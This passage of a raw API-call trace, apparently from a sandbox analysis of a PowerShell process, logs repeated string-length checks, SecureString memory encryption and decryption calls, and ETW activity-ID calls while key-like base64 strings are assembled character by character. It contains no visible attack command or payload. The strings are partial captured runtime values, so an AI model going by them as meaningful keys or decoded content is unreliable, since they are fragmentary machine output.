(param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60") returned 0x28 [0135.966] SystemFunction041 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.966] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35苆茨配ꓝ鲳") returned 0x28 [0135.966] SystemFunction040 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.967] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x7f64\xb8c2\x4d9c\xd7a2\x5820\x53fc\x2d4a\xf4d4") returned 0x28 [0135.967] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x7f64\xb8c2\x4d9c\xd7a2\x5820\x53fc\x2d4a\xf4d4") returned 0x28 [0135.967] SystemFunction041 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.967] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35u苆茨配ꓝ鲳") returned 0x28 [0135.967] SystemFunction040 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.967] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\xd7f6\xe74f\x6ab1\xff6c\x76b5\xf007\x71f\x639e") returned 0x28 [0135.967] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\xd7f6\xe74f\x6ab1\xff6c\x76b5\xf007\x71f\x639e") returned 0x28 [0135.967] SystemFunction041 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.967] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35un苆茨配ꓝ鲳") returned 0x28 [0135.967] SystemFunction040 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.967] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x3a50\x89e2\xd3ce\xf2a3\x9271\x4542\xfa0\xaabd") returned 0x28 [0135.967] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x3a50\x89e2\xd3ce\xf2a3\x9271\x4542\xfa0\xaabd") returned 0x28 [0135.967] SystemFunction041 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.967] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unl茨配ꓝ鲳") returned 0x28 [0135.967] SystemFunction040 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.967] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\xbacf\x7f4e\x958e\x3e1\x1e49\xd08a\xf1eb\x55b9") returned 0x28 [0135.967] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\xbacf\x7f4e\x958e\x3e1\x1e49\xd08a\xf1eb\x55b9") returned 0x28 [0135.967] SystemFunction041 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.968] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unly配ꓝ鲳") returned 0x28 [0135.968] SystemFunction040 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.968] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x4f94\x7096\x97de\xf227\xb1cc\xacba\xdc1c\x6d68") returned 0x28 [0135.968] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x4f94\x7096\x97de\xf227\xb1cc\xacba\xdc1c\x6d68") returned 0x28 [0135.968] SystemFunction041 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.968] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unlyBꓝ鲳") returned 0x28 [0135.968] SystemFunction040 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.968] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\xc2e0\x4232\xf4a4\xa06a\xb1ba\x7525\x4435\x1182") returned 0x28 [0135.968] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\xc2e0\x4232\xf4a4\xa06a\xb1ba\x7525\x4435\x1182") returned 0x28 [0135.968] SystemFunction041 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.968] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unlyB4鲳") returned 0x28 [0135.968] SystemFunction040 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.968] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\xad25\x1ea2\xdd8e\x70a8\x8a08\xac15\x77de\x4784") returned 0x28 [0135.968] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\xad25\x1ea2\xdd8e\x70a8\x8a08\xac15\x77de\x4784") returned 0x28 [0135.968] SystemFunction041 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.968] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unlyB4c") returned 0x28 [0135.968] SystemFunction040 (in: Memory=0x8ebfe9c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfe9c) returned 0x0 [0135.968] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47") returned 0x28 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47") returned 0x28 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47") returned 0x28 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47\x53\x77\x4a\x41\x46\x4a\x6a\x61") returned 0x30 [0135.969] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.969] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unlyB4cy걵絫暧慾屑") returned 0x30 [0135.969] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47\x3b11\x980e\x1de8\xf3b1\xdfd5\xb63f\xdad6\xc2c9") returned 0x30 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47\x3b11\x980e\x1de8\xf3b1\xdfd5\xb63f\xdad6\xc2c9") returned 0x30 [0135.969] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.969] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unlyB4cyZ걵絫暧慾屑") returned 0x30 [0135.969] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47\xde94\xc6d7\xdc7c\x8e6a\x648c\xfdd5\xa8a7\x48c2") returned 0x30 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47\xde94\xc6d7\xdc7c\x8e6a\x648c\xfdd5\xa8a7\x48c2") returned 0x30 [0135.969] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.969] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unlyB4cyZA걵絫暧慾屑") returned 0x30 [0135.969] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47\x4672\x29f5\x3a00\x5d43\x54e6\x7300\xfb1\xed80") returned 0x30 [0135.969] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60\x363c\xad56\xe14d\xae15\x9b41\x4a89\x462d\xce47\x4672\x29f5\x3a00\x5d43\x54e6\x7300\xfb1\xed80") returned 0x30 [0135.970] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.970] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel35unlyB4cyZA=絫暧慾屑") returned 0x30 [0135.970] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0135.970] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.970] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.970] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.970] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.970] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.970] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.970] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.971] SysStringLen (param_1="") returned 0x8 [0135.971] SysStringLen (param_1="Y") returned 0x8 [0135.971] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.971] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.971] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.971] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.971] SysStringLen (param_1="YW") returned 0x8 [0135.971] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.971] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.971] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.971] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.971] SysStringLen (param_1="YWM") returned 0x8 [0135.971] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.971] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.971] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.971] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.972] SysStringLen (param_1="YWM1") returned 0x8 [0135.972] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.972] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.972] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.972] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.972] SysStringLen (param_1="YWM1O") returned 0x8 [0135.972] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.972] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.972] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.972] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.972] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.972] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.972] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.972] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.972] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.972] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.972] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.973] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.973] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.973] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.973] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.973] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.973] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.973] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.973] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.973] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.973] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.973] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.973] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.973] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.973] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.973] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.973] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.974] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.974] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.974] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.974] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.974] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.974] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.974] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.974] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.974] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.974] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.974] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.975] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.975] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.975] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.975] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.975] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.975] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.975] SysStringLen 